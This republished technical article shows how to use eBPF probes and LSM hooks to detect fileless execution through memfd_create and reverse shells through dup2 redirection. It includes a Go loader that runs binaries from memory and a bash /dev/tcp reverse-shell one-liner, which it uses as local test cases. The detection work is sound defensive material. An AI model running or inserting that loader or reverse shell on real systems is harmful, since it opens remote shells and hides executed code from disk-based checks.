A New Perspective on eBPF Security: Auditing Complex Attack Techniques
This article demonstrates how to use eBPF to audit fileless command‑execution attacks and reverse‑shell techniques by tracing memfd_create, Kprobe/LSM hooks, dup2 redirections, and related kernel functions, providing concrete code examples and analysis of the detection logic.
0. Introduction
The article shows how to build eBPF audit programs for security events that are triggered by simple actions, focusing on several common complex attack techniques.
1. Auditing Fileless Command Execution
Fileless attacks load malicious code directly into memory without leaving files on disk, remaining effective even on read‑only filesystems. The article explains the use of memfd_create() to create an anonymous in‑memory file and then execute it.
func main() {
// use memfd_create() to create an in‑memory file
// https://man7.org/linux/man-pages/man2/memfd_create.2.html
fd, err := unix.MemfdCreate("", 0)
if err != nil {
log.Fatalln(err)
}
path := fmt.Sprintf("/proc/self/fd/%d", fd)
file := os.NewFile(uintptr(fd), path)
defer file.Close()
// binary program from elsewhere (network, hard‑coded, or another file)
binData, err := os.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
// write the binary into the memory file
if _, err := file.Write(binData); err != nil {
log.Fatalln(err)
}
// execute the in‑memory binary
argv := []string{"foobar"}
if len(os.Args) > 2 {
argv = append(argv, os.Args[2:]...)
}
if err := unix.Exec(path, argv, os.Environ()); err != nil {
log.Fatalln(err)
}
}Running the compiled program can execute any binary, e.g., the system tail command:
./memfd-create /usr/bin/tail -f go.modThe resulting process appears in ps as follows:
$ ps aux |grep foobar
vagrant 26080 0.0 0.0 5800 1060 pts/2 S+ 03:18 0:00 foobar -f go.mod
$ ls -l /proc/26080/ |grep exe
lrwxrwxrwx 1 vagrant vagrant 0 Apr 5 03:20 exe -> /memfd: (deleted)
$ ls -l /proc/26080/fd/3
lrwx------ 1 vagrant vagrant 64 Apr 5 03:18 /proc/26080/fd/3 -> '/memfd: (deleted)'The process’s executable path points to a /memfd: entry, which does not exist on the regular filesystem, confirming the fileless nature.
1.1 Auditing with eBPF Kprobe
A Kprobe/Kretprobe program can capture the execution of the memory file. When ./memfd-create /usr/bin/tail -f go.mod runs, the audit program emits events such as:
ppid: 21970 pid: 26243 comm: bash filename: ./memfd-create ret: 0
ppid: 21970 pid: 26243 comm: memfd-create filename: /proc/self/fd/3 ret: 0The event with filename /proc/self/fd/3 indicates a fileless command‑execution event.
1.2 Auditing with eBPF LSM
Beyond filename checks, the article shows how to use Linux Security Modules (LSM) to detect memory files directly. The LSM hook bprm_creds_from_file can inspect the struct inode of the file; a memory file has __i_nlink == 0.
LSM_HOOK(int, 0, bprm_creds_from_file, struct linux_binprm *bprm, struct file *file)The helper function checks the link count:
static bool is_memory_file(const struct file *file) {
unsigned int __i_nlink;
__i_nlink = (unsigned int)BPF_CORE_READ(file, f_path.dentry, d_inode, __i_nlink);
return __i_nlink <= 0;
}
SEC("lsm/bprm_creds_from_file")
int BPF_PROG(lsm_bprm_creds_from_file, struct linux_binprm *bprm, struct file *file, int ret) {
// ... omitted ...
if (!is_memory_file(file))
return ret;
// ... emit event ...
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return ret;
}Running the same command produces an LSM audit event:
ppid: 21970 pid: 27256 comm: memfd-create filename: "memfd:"Ordinary programs do not generate events because their link count is non‑zero.
2. Auditing Reverse‑Shell Operations
Attackers often use a reverse shell that redirects standard input, output, and error to a network socket created via /dev/tcp/HOST/PORT. The article analyses the kernel functions involved and proposes eBPF tracing of the dup2 system call and the file‑descriptor lifecycle.
2.1 Linking File Descriptors to Files
When a socket is created, the kernel calls sock_alloc_file() to associate a struct file with the socket. The d_name of the dentry holds the protocol name (e.g., "TCP"). The file descriptor is then bound to the file via fd_install().
struct file *sock_alloc_file(struct socket *sock, int flags, const char *dname) void fd_install(unsigned int fd, struct file *file)By tracing fd_install, the program records the PID, FD, and filename in an eBPF map:
SEC("kprobe/fd_install")
int BPF_KPROBE(kprobe__fd_install, unsigned int fd, struct file *file) {
struct fd_key_t key = {0};
struct fd_value_t value = {0};
key.fd = fd;
key.pid = bpf_get_current_pid_tgid() >> 32;
get_file_path(file, value.filename, sizeof(value.filename));
char tcp_filename[4] = "TCP";
if (!(fd == 0 || fd == 1 || fd == 2 || str_eq(value.filename, tcp_filename, 4))) {
return 0;
}
bpf_map_update_elem(&fd_map, &key, &value, BPF_ANY);
return 0;
} struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 20480);
__type(key, struct fd_key_t);
__type(value, struct fd_value_t);
} fd_map SEC(".maps");2.2 File‑Descriptor Redirection
The dup2(oldfd, newfd) system call performs the redirection. Tracing this call allows the program to match the previously stored FD information and emit a reverse‑shell audit event.
int dup2(int oldfd, int newfd); SEC("tracepoint/syscalls/sys_enter_dup2")
int tracepoint_syscalls__sys_enter_dup2(struct trace_event_raw_sys_enter *ctx) {
struct fd_key_t key = {0};
struct fd_value_t *value;
struct event_t event = {0};
key.pid = bpf_get_current_pid_tgid() >> 32;
key.fd = (u32)BPF_CORE_READ(ctx, args[0]);
value = bpf_map_lookup_elem(&fd_map, &key);
if (!value) {
return 0;
}
char tcp_filename[4] = "TCP";
if (!str_eq(value->filename, tcp_filename, 4)) {
return 0;
}
event.pid = bpf_get_current_pid_tgid() >> 32;
event.src_fd = (u32)BPF_CORE_READ(ctx, args[0]);
event.dst_fd = key.fd;
bpf_get_current_comm(&event.comm, sizeof(event.comm));
bpf_probe_read_kernel_str(&event.dst_fd_filename, sizeof(event.dst_fd_filename), &value->filename);
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}2.3 Closing File Descriptors
When a descriptor is closed, the map entry must be removed. The article traces the close syscall to clean up:
int close(int fd); SEC("tracepoint/syscalls/sys_enter_close")
int tracepoint_syscalls__sys_enter_close(struct trace_event_raw_sys_enter *ctx) {
struct fd_key_t key = {0};
key.pid = bpf_get_current_pid_tgid() >> 32;
key.fd = (u32)BPF_CORE_READ(ctx, args[0]);
bpf_map_delete_elem(&fd_map, &key);
return 0;
}Testing the reverse‑shell detection:
# start a server to act as the remote listener
$ nc -lk 7777 -l
# execute a reverse shell
$ bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
# eBPF program outputs redirect events
2023/05/01 09:47:59 9450:bash redirect 1 -> 3:TCP
2023/05/01 09:47:59 9450:bash redirect 2 -> 11:TCP
2023/05/01 09:47:59 9450:bash redirect 1 -> 10:TCP3. Conclusion
The article demonstrates, through concrete examples and code snippets, how to use eBPF to audit fileless command‑execution attacks and reverse‑shell techniques. It focuses on the audit logic without covering interception, and encourages readers to extend the examples with blocking capabilities.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
